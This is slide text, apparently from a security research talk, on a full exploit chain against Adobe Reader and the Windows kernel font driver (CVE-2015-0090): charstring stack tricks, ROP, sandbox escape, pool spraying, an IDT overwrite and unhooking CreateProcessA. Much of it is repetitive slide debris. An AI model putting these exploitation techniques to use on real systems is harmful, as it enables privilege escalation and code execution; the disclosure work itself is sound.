
put
-100

blend

sqrt

sqrt

sqrt

sqrt

sqrt

get
Writing data to stack – example

Interpreter stack frame

Operand stack

Instruction stream

Callers’ stack frames

Operand stack

Transient array

Instruction stream

Interpreter stack frame

Operand stack

Transient array

Instruction stream
Writing data to stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers' stack frames

31337
1
0
...

0x0001b063
0x55667788
0x99aabbcc

31337
31337
?
...

31337
dup
0
put
1
put
-100
blend
sqrt
sqrt
sqrt
sqrt
sqrt
get
Writing data to stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

Operand stack

Transient array

Instruction stream
Writing data to stack – example

Interpreter stack frame

Operand stack

Instruction stream

Callers’ stack frames

0x00014cb4
0x55667788
0x99aabbcc

31337
1
0
...

31337
dup
0
put
1
put
-100
blend
sqrt
sqrt
sqrt
sqrt
get

Transient array

Operand stack

Instruction stream
Writing data to stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

31337
0x55667788
0x99aabbcc
Reading data from the stack

• To read existing data from the stack, we can use a similar trick with multiple `SQRT` instructions, followed by a `PUT`.
  
  • The value will be loaded to the transient array at index 0 or 1.
  
  • If we pre-initialize `transient_array[0..1] = [0, 0]` and then sum both entries, the result will be the desired DWORD.

• To operate on the data (e.g. calculate the base address of an image based on its pointer), we should go back to the operand stack and do all the calculations there.
  
  • The `SETCURRENTPOINT` instruction resets `op_sp` back to `&op_stk[0]` with no side effects.
Operating on data from stack – example

Interpreter stack frame

Operand stack

Instruction stream

Transient array

Callers’ stack frames

0x945430bb
0x88242e14
0x12345678
Operating on data from stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

0x945430bb
0x88242e14
0x12345678

0
?
?
...

dup
0
put
1
put
-101
blend
sqrt
put
setCurrentpoint
0
get
1
get
add
0x330bb
sub
Operating on data from stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

0x945430bb
0x88242e14
0x12345678
Operating on data from stack – example

**Interpreter stack frame**

0x945430bb
0x88242e14
0x12345678

**Callers’ stack frames**

**Operand stack**

- 0
- 0
- 0
- ...

**Instruction stream**

- 0
- dup
- 0
- put
- 1
- put
- -101
- blend
- sqrt
- put
- setcurrentpoint
- 0
- get
- 1
- get
- add
- 0x330bb
- sub
Operating on data from stack – example

Interpreters stack frame

Operands stack

Instruction stream

Callers stack frames

Operand stack

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>…</td>
</tr>
</tbody>
</table>

Transient array

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td></td>
<td></td>
<td>…</td>
</tr>
</tbody>
</table>

Instruction stream

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>dup</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td></td>
<td>put</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td></td>
<td>put</td>
<td>-101</td>
<td></td>
</tr>
<tr>
<td></td>
<td>blend</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>sqrt</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>put</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>setcurrentpoint</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>get</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td></td>
<td>get</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td></td>
<td>add</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>0x330bb</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>sub</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

0x945430bb
0x88242e14
0x12345678
Operating on data from stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

Operand stack

Transient array

Instruction stream

0
1
0
...

0
?
?
...

0
dup
0
put
1
put
-101
blend
sqrt
put
setcurrentpoint
0
get
1
get
add
0x330bb
sub
Operating on data from stack – example

Interpreter stack frame

Operand stack

Instruction stream

Transient array

Callers’ stack frames

0x945430bb
0x88242e14
0x12345678

0
1
0
...

...
Operating on data from stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

0
dup
0
put
1
put
-101
blend
sqrt
put
setcurrentpoint
0
get
1
get
add
0x330bb
sub
Operating on data from stack – example

Interpreter stack frame

Operand stack
-101
1
0
...

Transient array
0
0
?
...

Instruction stream
0
dup
0
put
1
put
-101
blend
sqrt
put
setcurrentpoint
0
get
1
get
add
0x330bb
sub

Callers’ stack frames
0x945430bb
0x88242e14
0x12345678
Operating on data from stack – example

Interpreter stack frame

...  

...  

0x945430bb  
0x00016248  
0x12345678

Callers’ stack frames

Operand stack

-101  
1  
0  
 ...

Transient array

0  
0  
?  
...

Instruction stream

0  
dup  
0  
put  
1  
put  
-101  
blend  
sqrt  
put  
setcurrentpoint  
0  
get  
1  
get  
add  
0x330bb  
sub
Operating on data from stack – example

Interpreter stack frame

Operand stack

Instruction stream

Callers’ stack frames

Operand stack

Transient array

0x945430bb
0x00016248
0x12345678
Operating on data from stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers' stack frames

0x945430bb
0x00016248
0x12345678

-101
1
0
...

0
0x945430bb
?
...

0
dup
0
put
1
put
-101
blend
sqrt
put
setcurrentpoint
0
get
1
get
add
0x330bb
sub

x5
Operating on data from stack – example

Interpreter stack frame

- Callers’ stack frames
- 0x945430bb
- 0x00016248
- 0x12345678

Operand stack

-101
1
0
...

Transient array

0
0x945430bb
?
...

Instruction stream

0
dup
0
put
1
put
-101
blend
sqrt
put
setcurrentpoint
0
get
1
get
add
0x330bb
sub
Operating on data from stack – example

Interpreted stack frame

Operand stack

Transient array

Instruction stream

---

Callers’ stack frames

0x945430bb
0x00016248
0x12345678

Operand stack

0
1
0
...

0
0x945430bb
?...

Instruction stream

0
dup
0
put
1
put
-101
blend
sqrt
put
setcurrentpoint
0
get
1
get
add
0x330bb
sub
x5
Operating on data from stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

0x945430bb
0x00016248
0x12345678

0
1
0

0
1
-101
blend
sqrt
put
setCurrentpoint
get
1
add
0x330bb
sub

...
Operating on data from stack – example

Interpreter stack frame

Operand stack

Instruction stream

Transient array

Callers’ stack frames

0x945430bb
0x00016248
0x12345678

0
1
0
...

0
dup
0
put
1
put
-101
blend
sqrt
put
setcurrentpoint
0
get
1
get
add
0x330bb
sub
Operating on data from stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

Callers’ stack frames

0x945430bb
0x00016248
0x12345678

...
Operating on data from stack – example

Interpreters' stack frames

Callers' stack frames

Interpreter stack frame

Operand stack

0x945430bb
0x945430bb
0x12345678

Transient array

0
0x945430bb
?
...

Instruction stream

0
dup
0
put
1
put
-101
blend
sqrt
put
setcurrentpoint
0
get
1
get
add
0x330bb
sub
Operating on data from stack – example

**Interpreted stack frame**

... 

**Operand stack**

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x945430bb</td>
<td></td>
</tr>
<tr>
<td>0x000330bb</td>
<td></td>
</tr>
<tr>
<td>0</td>
<td></td>
</tr>
<tr>
<td>...</td>
<td></td>
</tr>
</tbody>
</table>

**Transient array**

<table>
<thead>
<tr>
<th>Index</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0x945430bb</td>
</tr>
<tr>
<td>?</td>
<td>...</td>
</tr>
</tbody>
</table>

**Instruction stream**

```
0
dup
0
put
1
put
-101
blend
sqrt
put
setcurrentpoint
0
get
1
get
add
0x330bb
sub
```
Operating on data from stack – example

Interpreter stack frame

...  
...  
0x945430bb  
0x00016248  
0x12345678  
Callers’ stack frames

Operand stack

0x94510000  
0x000330bb  
0  
...  
Transient array

0  
0x945430bb  
?  
...  
Instruction stream

0  
dup  
0  
put  
1  
put  
-101  
blend  
sqrt  
put  
setcurrentpoint  
0  
get  
1  
get  
add  
0x330bb  
sub
Operating on data from stack – example

Interpreter stack frame

Operand stack

Transient array

Instruction stream

0

dup

0

put

1

put

-101

blend

sqrt

put

setcurrentpoint

0

get

1

get

add

0x330bb

sub
The ROP chain

• We now have all the primitives necessary to reliably create a ROP chain to achieve arbitrary code execution in the sandboxed process.

• It would be easiest and most elegant to perform a single `LoadLibrary(exploit PDF path)` call.

  • The `%PDF` magic doesn’t have to appear at the beginning of the file.

  • We could create a PE+PDF binary polyglot and have the rest of the exploit written in C/C++.

    • Ange Albertini has done it in his CorkaMIX proof of concept in 2012 (https://code.google.com/p/corkami/wiki/mix).
LoadLibrary(self) problems

• Unfortunately, the input file path is nowhere to be found on the exploited thread’s stack.

• Also, Adobe Reader recently began rejecting PDF files starting with the “MZ” signature.
The ROP chain

- We have to settle on a less elegant solution.

- **VirtualProtect(&stack, PAGE_EXECUTE_READWRITE)** and a 1\textsuperscript{st} stage payload on the stack will do.

- In the first frame, we’re using CoolType’s internal implementation of **GetProcAddress()**, which resolves a function from kernel32.dll and jumps to it immediately.
First stage payload

- Not convinced to writing a second-stage font-related win32k.sys exploit in assembly.

- It’d be best to have a controlled DLL loaded via LoadLibrary(), after all.

- To our advantage:
  - The renderer process has an active HANDLE to the exploit PDF file with read access.
  - While filesystem access is largely limited (especially write capabilities), the renderer has write access to a temporary directory at %APPDATA%\Adobe\Acrobat\11.0.
First stage payload – a DLL trampoline

• Compile the 2\textsuperscript{nd} stage DLL with the exploit PDF file specified in Visual Studio’s \texttt{/STUB} linker option.
  
  • Embeds the indicated file as the MS-DOS stub at the file beginning.
    
    • The file must be a valid MS-DOS file itself (contain seemingly valid \texttt{IMAGE\_DOS\_HEADER}) to be allowed by the linker.
  
  • Results in a valid PE/PDF polyglot.

• Replace the „MZ” magic bytes with something else, e.g. „mz”.
First stage payload – a DLL trampoline

• In the assembly payload:
  • Iterate over all possible HANDLE values, i.e. range(0, 0x1000, 4),
  • Call the kernel32!GetFinalPathNameByHandle() function over each to obtain the corresponding file path.
  • The one ending with „.pdf” is our exploit file. Copy it to %APPDATA%\Adobe\Acrobat\11.0.
  • Write back the original „MZ” signature to the file to make it a valid PE.
  • Invoke LoadLibrary() over the new file, having our C++ DllMain() function invoked.
```c
#include <Windows.h>

extern "C"

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
) {
    MessageBoxA(NULL, "Hello, World!", "Hello, World!", MB_ICONINFORMATION);
    return TRUE;
}
```
Second stage payload – the DLL

• Since there’s only a x86 build of Adobe Reader, we can have a single 2\textsuperscript{nd} stage DLL.
  • can exploit both x86 and x86-64 kernels by recognizing the underlying system architecture (\texttt{IsWow64Process()}) and driving exploitation accordingly.
  • in both cases, a new window must be created with \texttt{CreateWindow()}.  
  • the difference is in its \textit{Window Procedure} (\texttt{WNDCLASS\_EXW.lpfnWndProc}).
Second stage payload – rendering the font

- Loading and rendering a font in Windows is a matter of calling a few API functions:
  - `CreateWindow()` – create the window to draw on.
  - `AddFontResource()` – load the font in the system.
  - `BeginPaint()` – prepare window for painting.
  - `CreateFont()` – create a logical font with specific characteristics.
  - `SelectObject()` – select the font for usage with the device context.
  - `TextOut()` – display specified text on the window with previously defined style.
  - `DeleteObject()` – destroy the font.
  - `EndPaint()` – mark the end of painting in the window.

- All of the above calls work fine with the Adobe Reader sandbox, except...
Second stage payload – loading a font

```c
int AddFontResource(
    _In_  LPCTSTR lpszFilename
);
```

- Loads fonts from the specified path in the system.
- **win32k.sys** refuses to load any fonts via `AddFontResource()` under the Adobe Reader sandbox.
- What now?
Second stage payload – loading a font

• There is **AddFontMemResourceEx()**, which installs fonts directly from memory.
  
  • However, it provides no means of loading fonts consisting of two or more files (Type 1) – expects a continuous data region which is loaded as a one „resource file”.
  
  • People on the Internet have had the same problem, with no solution found.
  
  • Reverse-engineering win32k.sys confirms this.

• No other official/documented functions that we could use with Type 1 fonts.
Second stage payload – loading a font

If we take a look in IDA, there is one more syscall referencing the font-loading code: **NtGdiAddRemoteFontToDC**.

**BINGO!**
Loading fonts via **NtGdiAddRemoteFontToDC**

- Absolutely no public information regarding the system call, officially or unofficially.

- If we Google for „AddFontRemoteFontToDC“, the only result is the description of Microsoft’s patent US6313920 from August 1998.
In the disclosed embodiment, the whole font is loaded onto the system using the private interface function called AddRemoteFontToDC. This private function takes as input arguments the buffer which contains the image of the font to be added to the Device Context, the size of the buffer, and the handle of the Device Context (hdc). This function is very similar to the public Application Programming Interface (API) function AddFontResource. This private function is called by the spooler process to load the font image from the spool file to the printer Device Context (DC).
Loading fonts via **NtGdiAddRemoteFontToDC**

• Fortunately, it’s not just a raw buffer with font data – it’s font files proceeded by a header specifying the memory partitioning and whether it’s a Type 1 font or not.

• The reverse engineered structure is as follows:

```c
typedef struct tagTYPE1FONTHEADER {
    ULONG IsType1Font;
    ULONG NumberOfFiles;
    ULONG Offsets[2];
    BYTE Data[1];
} TYPE1FONTHEADER, *PTYPE1FONTHEADER;
```
Loading fonts via `NtGdiAddRemoteFontToDC`

```c
TYPE1FONTHEADER.IsType1Font = 1;
TYPE1FONTHEADER.NumberOfFiles = 0;
TYPE1FONTHEADER.Offsets[0] = (PfmFileSize + 3) & ~4;
TYPE1FONTHEADER.Offsets[1] = ((PfmFileSize + 3) & ~4) + ((PfbFileSize + 3) & ~4);
TYPE1FONTHEADER.Data = { .PFM file data aligned to 4 bytes,
                         .PFB file data aligned to 4 bytes }
```

After properly initializing the structure, `win32k.sys` successfully loads the Type 1 font consisting of two files from memory inside of the Adobe Reader sandbox.
Second stage payload – loading a font

• Assuming that the exploit is supposed to be fully contained within a single we have to embed the Windows kernel x86 and x86-64 font exploits in the file, as well.

• Either have the fonts included as PE resources (it’s a DLL after all), or just append at the end of the original file.
Proof of Concept exploit file structure

1st stage Adobe Reader exploit

2nd stage userland exploit DLL

Windows Kernel x86 exploit

Windows Kernel x86-64 exploit
With the ability to attack ATMFD.DLL, let's write a kernel exploit!
Windows 8.1 Update 1 x86 exploit
Kernel exploitation plan

• Elevation of privileges in the Windows kernel is fairly easy.
  • traverse a linked list of processes and replace the security token of one with another’s.
  • can be easily implemented in a short snippet of x86 assembly.

• The ROP’s goal would be to:
  • allocate writable/executable memory and copy the EoP shellcode there.
  • jump to the shellcode to have it do its job.
  • cleanly recover from the payload in order to keep the operating system stable.
Kernel exploitation plan

• The Charstring exploitation process is exactly the same as with Adobe Reader (CoolType).
  • addresses of `ATMFD.DLL`, `win32k.sys` and `ntoskrn1.exe` all present on the stack.
  • we can use ROP gadgets from all of them.

• Starting with Windows 8, most kernel memory is allocated from `(Non)PagedPoolNx`, non-executable pool memory (under protection of DEP).
  • means that we cannot easily reuse an existing allocation.
  • `ExAllocatePoolWithTag(NonPagedPool)` still allocates normal, executable non-pageable memory that we can use to store and execute the shellcode.
Windows 8.1 Update 1 x86 ROP

allocate 4096 r/w/e bytes

copy 256 bytes of payload to new allocation

jump to the payload

allocate 4096 r/w/e bytes

nt!ExAllocatePool
XCHG EAX, EDX
0x0 (NonPagedPool)
0x1000
MOV EBX, EDX
XCHG EAX, EDX
XCHG EAX, EDI
POP ESI
&payload
POP ECX
0x40
REP MOVSD
JMP EBX
EoP payload
Windows 8.1 Update 1 x86 EoP shellcode


2. Save the security token pointer from `EPROCESS.Token`.

3. Traverse the process linked list again, in search of `EPROCESS.ImageFileName` equal to "AcroRd32.exe".
   - Replace `EPROCESS.Token` with the saved, privileged security token.
   - Set `EPROCESS.Job.ActiveProcessLimit` to 2, in order to spawn a new `calc.exe` process later on.

4. Jump to address 0x0.
„Jump to address 0x0” ?!

• At the end of the shellcode, we have to cleanly recover from the somewhat inconsistent state.

• We could try to fix up the stack frame, or return to a caller x frames higher.

• **ATMFD.DLL** aggressive exception handling for the rescue!
  
  • Every invalid user-mode memory access is silently ignored by the driver’s universal exception handler.
  
  • It’s sufficient to generate any such exception, and ATMFD will take care of the rest, cleanly finishing up the font loading and returning back to userland as if nothing happened.
Final steps: popping up calc.exe

• Even with the modified active process limit, `CreateProcess()` still failed to create a new process.

• Turns out the sandboxed process has `KERNELBASE!CreateProcessA` hooked, making it „impossible” to create processes not approved by the broker.

• We can just restore the function prologue to bypass this.
Retrieving the CreateProcessA function:

```c
HMODULE hKernelBase = GetModuleHandleA("KERNELBASE.DLL");
FARPROC lpCreateProcessA = GetProcAddress(hKernelBase, "CreateProcessA");

// Make the kernelbase!CreateProcessA memory area temporarily writable.
DWORD flOldProtect;
VirtualProtect(lpCreateProcessA, 5, PAGE_READWRITE, &flOldProtect);

// Write the original function prologue (MOV EDI, EDI; MOV EBP, ESP; PUSH ESP).
RtlCopyMemory(lpCreateProcessA, "\x8b\xff\x55\x8b\xec", 5);

// Restore the original memory access mask.
VirtualProtect(lpCreateProcessA, 5, flOldProtect, &flOldProtect);
```
DEMO TIME
Windows 8.1 Update 1 x86-64 exploit
No BLEND vulnerability anymore 😞

• As previously mentioned, 64-bit platforms are unaffected by the BLEND bug.

• We have to use one of the other OpenType issues for sandbox escape.

• Let’s consider the options...
Sandbox escape options


AND THE WINNER IS...


CVE-2015-0090: read/write-what-where in LOAD and STORE operators

<table>
<thead>
<tr>
<th>Impact:</th>
<th>Elevation of Privileges / Remote Code Execution</th>
</tr>
</thead>
<tbody>
<tr>
<td>Architecture:</td>
<td>x86, x86-64</td>
</tr>
<tr>
<td>Reproducible with:</td>
<td>Type 1, OpenType</td>
</tr>
<tr>
<td>google-security-research entry:</td>
<td>177</td>
</tr>
</tbody>
</table>
CVE-2015-0090: the Registry Object

• Back in the „Type 2 Charstring Format” specs from 1998, another storage available to the font programs was defined – the „Registry Object”.
  • Related to Multiple Masters which were part of the OpenType format for a short while.
  • Subsequently removed from the specification in 2000, but ATMFD.DLL of course still supports it.

• Referenced via two new instructions: STORE and LOAD.
  • can transfer data back and forth between the transient array and the Registry.
The Registry provides more permanent storage for a number of items that have predefined meanings. The items stored in the Registry do not persist beyond the scope of rendering a font. Registry items are selected with an index, thus:

0  Weight Vector
1  Normalized Design Vector
2  User Design Vector

The result of selecting a Registry item with an index outside this list is undefined.
The Registry provides more permanent storage for a number of items that have predefined meanings. The items stored in the Registry do not persist beyond the scope of rendering a font. Registry items are selected with an index, thus:

- 0 Weight Vector
- 1 Normalized Design Vector
- 2 User Design Vector

The result of selecting a Registry item with an index outside this list is undefined.
CVE-2015-0090

• Internally, registry items are implemented as an array of `REGISTRY_ITEM` structures, inside a global font state structure.

```c
struct REGISTRY_ITEM {
    long size;
    void *data;
} Registry[3];
```

• Verification of the Registry index exists, but can you spot the bug?

```assembly
.text:0003CA35  cmp   eax, 3
.text:0003CA38  ja    loc_3BEC4
```
CVE-2015-0090: off-by-one in index validation

• An index > 3 condition instead of index >= 3, leading to an off-by-one in accessing the Registry array.

• Using the LOAD and STORE operators, we can trigger the following memcpy() calls with controlled transient array and size:

```c
memcpy(Registry[3].data, transient array, controlled size);
memcpy(transient array, Registry[3].data, controlled size);
```

provided that Registry[3].size > 0.
CVE-2015-0090: use of uninitialized pointer

- The registry array is part of an overall font state structure.
  - The `Registry[3]` structure is uninitialized during the interpreter run time.
- If we can spray the Kernel Pools such that `Registry[3].size` and `Registry[3].data` occupy a previously controlled allocation, we end up with arbitrary `read` and `write` capabilities in the Windows kernel!
CVE-2015-0090

Out-of-bound Registry index, culprit of the bug

Offset relative to the start of the transient array

Vulnerable instruction

Offset relative to the start of Registry item

Number of values (DWORDs) to copy

/a ### - | { 3 0 0 1 store } | -
Windows Kernel pool spraying

- Tarjei Mandt performed some extensive research in this area in 2011 for Windows 7.
- Tarjei sprayed the Session Paged Pools by setting a unicode menu name of arbitrary length and content with `SetClassLongPtrW`:

```c
SetClassLongPtrW(hwnd, GCLP_MENUNAME, (LONG)lpBuffer);
```
- Still works today in Windows 8.1!
CVE-2015-0090 – kernel pool spraying

• Experimenting for a while, it turned out that creating allocations of increasing size between 1000 and 4000 bytes for 100 times reliably fills the uninitialized `REGISTRY_ITEM` structure.

```c
for (UINT i = 0; i < 100; i++) {
    for (UINT j = 500; j < 2000; j++) {
        SpraySessionPoolMemory(hwnd,
                                j * 2,
                                0x0101010101010101LL,
                                0xFFFFFFFFDEADBEEFLL);
    }
}
```
PAGE_FAULT_IN_NONPAGED_AREA (50)

Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory.

Arguments:

Arg1: ffffffffdeadbeef2, memory referenced.

Arg2: 0000000000000001, value 0 = read operation, 1 = write operation.

Arg3: fffff96000adcc6a, If non-zero, the instruction address which referenced the bad memory address.

Arg4: 0000000000000002, (reserved)
That was easy!

• The read/write-what-where condition is now reliable.

• Sooo... what shall we read or write?
  • Reminder: we’re on Windows 8.1, trying to subvert all existing exploit mitigations.

• Microsoft has gone into great lengths to disable all sources of kernel address space information available to Low Integrity processes in Windows 8 and 8.1.
  • To be elegant, it’d be great if we didn’t have to burn another 0-day to exploit this.
There are things Windows doesn’t prevent...

**SIDT—Store Interrupt Descriptor Table Register**

<table>
<thead>
<tr>
<th>Opcode</th>
<th>Instruction</th>
<th>64-Bit Mode</th>
<th>CompLat/ Leg Mode</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>OF 01/1</td>
<td>SIDT (m)</td>
<td>Valid</td>
<td>Valid</td>
<td>Store IDTR to (m).</td>
</tr>
</tbody>
</table>

**Description**

Stores the content the interrupt descriptor table register (IDTR) in the destination operand. The destination operand specifies a 6-byte memory location.
There are things Windows doesn’t prevent...

**SGDT—Store Global Descriptor Table Register**

<table>
<thead>
<tr>
<th>Opcode*</th>
<th>Instruction</th>
<th>64-Bit Mode</th>
<th>Compat/Leg Mode</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>OF 01 /0</td>
<td>SGDT ( m )</td>
<td>Valid</td>
<td>Valid</td>
<td>Store GDTR to ( m ).</td>
</tr>
</tbody>
</table>

**NOTES:**
* See IA-32 Architecture Compatibility section below.

**Description**

Stores the content of the global descriptor table register (GDTR) in the destination operand. The destination operand specifies a memory location.
There are things Windows doesn’t prevent...

- **SIDT** and **SGDT** – instructions returning the addresses of system **Interrupt Descriptor Table** and **Global Descriptor Table** structures.
  - Available in user mode by default,
  - Impossible to disable or restrict, even as the operating system.
  - Provide a convenient anti-ASLR primitive in the world of Windows 8.1.
CPU #0 IDT and GDT on Windows

- GDTR
- IDTR

Global Descriptor Table

- Interrupt Descriptor Table

Unused memory

- 0x80 bytes
- 0x1000 bytes
- 0x2000 bytes
- 0x80 bytes
IDT fact #1: heaps of function pointers

0: kd> !idt
Dumping IDT: fffff801d6acf080
00: fffff801d5167900 nt!KiDivideErrorFault
01: fffff801d5167a00 nt!KiDebugTrapOrFault
02: fffff801d5167bc0 nt!KiNmiInterrupt
03: fffff801d5167f40 nt!KiBreakpointTrap
04: fffff801d5168040 nt!KiOverflowTrap
05: fffff801d5168140 nt!KiBoundFault
[...]
IDT fact #1: user-reachable function pointers

• Some of the interrupts are user-facing.
  • Low entries: CPU exception handlers.
    • Not the safest choice, as other processes or the kernel may also trigger them unexpectedly.
  • Interrupts designed specifically for user-mode usage:
    • KiRaiseSecurityCheckFailure (0x29)
    • KiRaiseAssertion (0x2C)
    • KiDebugServiceTrap (0x2D)
IDT fact #1: partitioned function pointers

Figure 5-7. 64-Bit IDT Gate Descriptors
The partitioning could be easily handled by the arithmetic instructions in Charstring program.

To keep things simple, we could also find a “trampoline” gadget of the form `JMP REG` in the same memory page as the overwritten function address.

- Fully reliable against ASLR.
- Only requires the modification of lowest 16 bits of the address.
IDT fact #2: memory access rights

• The IDT/GDT memory region has Read/Write/Execute access rights!

0: kd> !pte idtr
VA ffffd8016acfd080
[...] PTE at FFFFF6FC00EB5678
[...] contains 000000000048Cf163
[...] pfn 48cf -G-DA--KWEV

• We can store our payload in the 0xF80 unused bytes following IDT, and execute it from there.
Obtaining IDTR

• In 32-bit *Compatibility Mode*, the **SIDT** instruction only provides 32 bits of IDTR.

• We have to transfer to *Long Mode* temporarily to execute this one instruction.
  
  • Only takes a far call to \( cs: = 0x33 \),
  
  • One more far call to \( cs: = 0x23 \) to return back to x86.
Helper C++ macros by ReWolf

#define EM(a) __asm __emit (a)
#define X64_Start_with_CS(_cs) { \
    EM(0x6A) EM(_cs) /* push _cs */ \n    EM(0xE8) EM(0) EM(0) EM(0) EM(0) /* call $+5 */ \n    EM(0x83) EM(4) EM(0x24) EM(5) /* add dword [esp], 5 */ \n    EM(0xCB) /* retf */ \
}
#define X64_End_with_CS(_cs) { \
    EM(0xE8) EM(0) EM(0) EM(0) EM(0) /* call $+5 */ \
    EM(0xC7) EM(0x44) EM(0x24) EM(4) /* */ \n    EM(_cs) EM(0) EM(0) EM(0) /* mov dword [rsp + 4], _cs */ \n    EM(0x83) EM(4) EM(0x24) EM(0xD) /* add dword [rsp], 0xD */ \n    EM(0xCB) /* retf */ \
}
#define X64_Start() X64_Start_with_CS(0x33)
#define X64_End() X64_End_with_CS(0x23)
Obtaining IDTR in C++

```cpp
ULONGLONG sidt() {
    #pragma pack(push, 1)
    struct {
        USHORT limit;
        ULONGLONG address;
    } idtr;
    #pragma pack(pop)

    X64_Start();
    __sidt(&idtr);
    X64_End();

    return idtr.address;
}
```
Exploitation stage #1 – the DLL

1. Make sure we are running on CPU #0 (*SetThreadAffinityMask*)

2. Spray the *Session Paged Pool* with `.size=0x0101... and .data=IDTR.`

3. Load the kernel exploit font.
Exploitation stage #2 – the font Charstring

4. Copy the entire IDT to the transient array.

5. Adjust entry 0x29 (nt!KiRaiseSecurityCheckFailure) to an address of a
   JMP R11 gadget residing in the same memory page, and write back to IDT.
   • Purposely chose the security interrupt to make it ironic. 😊

6. Save the modified part of IDT[0x29] at IDT+0x1100 to restore it later on.

7. Write the kernel-mode EoP shellcode at IDT+0x1104.
Transient array

GDT/IDT memory region

- Global Descriptor Table
  - ...
  - nt!KiRaiseSecurityCheckFailure
  - ...

- Interrupt Descriptor Table
   
- Unused memory
Transient array

```
... ...
```

```
nt!KiRaiseSecurityCheckFailure
```

Unused memory

GDT/IDT memory region

```
Global Descriptor Table
```

```
... ...
```

```
nt!KiRaiseSecurityCheckFailure
```

Unused memory

Interrupt Descriptor Table
Transient array

... nt!KiRaiseSecurityCheckFailure ...

Global Descriptor Table

... nt!KiRaiseSecurityCheckFailure ...

GDT/IDT memory region

Unused memory

Interrupt Descriptor Table
nt!KiRaiseSecurityCheckFailure:
    sub    rsp, 8
    push   rbp
    sub    rsp, 158h
    lea    rbp, [rsp+80h]
    mov    [rbp+0E8h+var_13D], 1
    mov    [rbp+0E8h+var_138], rax
    mov    [rbp+0E8h+var_130], rcx
    mov    [rbp+0E8h+var_128], rdx
    mov    [rbp+0E8h+var_120], r8
    mov    [rbp+0E8h+var_118], r9
    mov    [rbp+0E8h+var_110], r10
    mov    [rbp+0E8h+var_108], r11
    test   byte ptr [rbp+0E8h+arg_0], 1
    jz     short loc_14015B821
    swapgs
    mov    r10, gs:188h
    test   byte ptr [r10+3], 80h
Transient array

\[ \ldots \]

\textbf{JMP R11}

\[ \ldots \]

\[ \ldots \]

\textbf{JMP R11}

\textbf{ntoskrnl.exe}

\texttt{nt!KiRaiseSecurityCheckFailure:}

\begin{verbatim}
sub     rsp, 8
push    rbp
sub     rsp, 158h
lea      rbp, [rsp+80h]
mov      [rbp+0E8h+var_13D], 1
mov      [rbp+0E8h+var_138], rax
mov      [rbp+0E8h+var_130], rcx
mov      [rbp+0E8h+var_128], rdx
mov      [rbp+0E8h+var_120], r8
mov      [rbp+0E8h+var_118], r9
mov      [rbp+0E8h+var_110], r10
mov      [rbp+0E8h+var_108], r11
test     byte ptr [rbp+0E8h+arg_0], 1
jz       short loc_14015B821
\end{verbatim}

\[ \ldots \]

\[ \texttt{jmp} \ r11 \]
Transient array

x64 shellcode

GDT/IDT memory region

Global Descriptor Table

... 

JMP R11 

Interrupt Descriptor Table

nt!KiRaiseSecurityCheckFailure

x64 shellcode
Exploitation stage #3 – back to the DLL

8. Switch to Long Mode and trigger **INT 0x29** with **R11** set to **IDTR+0x1104** (the shellcode address).
   
   • the shellcode restores the original **IDT[0x29]** entry, elevates **AcroRd32.exe** process privileges and increases the active process limit.

9. Unhook **CreateProcessA**.

10. Spawn **calc.exe**.
DEMO TIME
Mission accomplished

Ended up with a single, 100% reliable PDF file launching an elevated `calc.exe` upon opening with Adobe Reader XI on Windows 8.1 Update 1 x86 and x86-64.
Mission accomplished

• All exploit mitigations bypassed:
  • Stack cookies – non-continuous stack overwrite, no cookie ever touched.
  • ASLR – exploit based solely on adjusted addresses reliably leaked or requested from CPU.
  • DEP – all stages ran in executable memory.
  • Sandboxing – escaped by using the same (x86) or related (x86-64) vulnerability.
  • SMEP – kernel-mode payload executed in kernel address space.

• Complete reliability maintained
  • No brute-forcing or guessing involved, all stages fully deterministic.
Some final thoughts

• Despite a lot of attention, font vulnerabilities are still not extinct – I’d rather say the opposite.
  • watch out for more fixes, blog posts and articles soon. 😊

• It’s doubtful they ever completely will – the only winning move is to remove font processing from all privileged security contexts.
  • Microsoft is already doing this with the introduction of a separated user-land font driver in Windows 10.
Some final thoughts

• Shared native codebases still exist, and are immensely scary in the context of software security.
  • especially those processing complex file formats written 20-30 years ago.

